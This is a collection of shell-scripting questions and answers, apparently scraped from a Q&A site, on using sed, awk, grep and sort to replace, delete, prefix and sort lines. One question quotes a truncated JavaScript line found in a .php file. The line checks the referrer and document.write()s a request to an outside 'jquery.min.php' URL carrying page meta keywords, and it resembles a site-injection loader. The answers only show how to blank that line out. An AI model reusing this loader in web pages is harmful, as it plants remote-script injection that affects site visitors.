How can I use sed or tr or replace to replace the string I get from pipe like:
head -n 1 myfile | sed -i 's/'-'/leg/g' new.log
try this:
MY_PAT=$(head -n 1 myfile)
sed -i "s/$MY_PAT/leg/g" new.log
or
sed -i "s/$(head -n 1 myfile)/leg/g" new.log
if your myfile contains special characters, better give concrete example.
use the read shell builtin to get the first line from stdin.
#!/bin/bash
read TO_REPLACE
head -n 1 myfile | sed -i "s/$TO_REPLACE/leg/g" new.log
Related
I'm trying to use a list of patterns to search in 4 large files, and remove the line that contains the regex.
I tried to specify the file path but it didn't work
sed -n '/{home/dirco/shut}/p' rimco rimco2 aval aval2
I tried to use sed option -f but it didn't work either
sed -f home/dirco/shut rimco rimco2 aval aval2
ultimately the goal will be to sed in place by removing that line if the pattern is found.
This might work for you (GNU sed):
sed 's#/#\\/#g;s#.*#/&/p#g' patternFile | sed -nf - file1 file2 file3 ...
Turn the patternFile into a sed script and run it against the data files.
N.B. The sed delimiter / is first quoted and the each line of the patternFile is turned into an address which is printed /pattern/p.
try this:
cmd=$(
echo -n "sed -i '"
while read -r line; do
echo -n "/$line/d;"
done < patternfile.txt
echo "'"
)
"$cmd" rimco rimco2 aval aval2
Here's how to do what you want efficiently and robustly by using GNU awk for inplace editing (assuming your list of regexps in regexpsfile isn't massive):
awk -i inplace 'NR==FNR{re=re sep "(" $0 ")"; sep="|"} NR!=FNR && $0~re{next} 1' regexpsfile rimco rimco2 aval aval2
I have dataset as:
file.txt
de
fds
fds
a
sa
1
2
3
1
}
I would like to delete all the lines starting with characters or special characters. So my outfile is:
out.txt
1
2
3
1
I could do it manually with 'sed', but I am looking for a suitable command for this.
my code:
sed -i '/d//g' file.txt
sed -i '/f//g' file.txt
sed -i '/a//g' file.txt
sed -i '/s//g' file.txt
sed -i '/}//g' file.txt
Use grep with -E option for regex (or egrep in short):
grep -E "^[0-9].*" file.txt
just keep lines starting with a number:
$ sed -i.bak -r '/^[0-9]/!d' filename
or delete lines starting with specific characters:
$ sed -i.bak -r '/^[dfas}]/d' filename
I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
I want to append a string on the every line from the grep result.
For example, this command will return several lines:
ls -a | grep "filename"
For example:
filename1
filename2
filename3
filename4
How can I append a string test on each return line using a single command? So that I get this output:
test filename1
test filename2
test filename3
test filename4
You can do this:
ls -a | grep "filename" | perl -ne 'print "test $_"'
An alternative is to use sed (which is specifically a Stream EDitor):
ls -a | grep "filename" | sed 's/^/test /'
or
ls -a *filename* | sed 's/^/test /'
or even
ls -a | sed '/filename/bx;d;:x;s/^/test /'
I have something about 100 files with the following syntax
ahfsdjfhdfhj_EPI_34_fdsafasdf
asdfasdf_EPI_2_fdsf
hfdjh_EPI_8_dhfffffffffff
ffffffffffasdfsdf_EPI_1_fyyy44
...
There is always EPI_NUMBER. How can I sort it by this number?
From your example it appears that delimiter is _ and text EPI_nnn comes at the same position after delimiter _. If that is always the case then you can use following command to sort the file:
sort -n -t "_" -k 3 file.txt
UPDATE:
If position of EPI_ text is not fixed then use following shell command:
sed 's/^\(.*EPI_\)\(.*\)$/\2##\1/' file.txt | sort -n -t "_" -k1 | sed 's/^\(.*\)##\(.*\)$/\2\1/'
If Perl is okay you can:
print sort foo <>;
sub foo {
($x = $a) =~s/.*EPI_(\d+).*/$1/;
($y = $b) =~s/.*EPI_(\d+).*/$1/;
return $x <=> $y;
}
and use it as:
perl prg.pl inputfile
See it
sed -e 's/EPI_/EPI /' file1 file2 ...|sort -n -k 2 -t ' '
Pipe that to sed -e 's/ /_/' to get back the original form.
This might work for you:
ls | sed 's/.*EPI_\([0-9]*\)/\1 &/' | sort -n | sed 's/\S* //'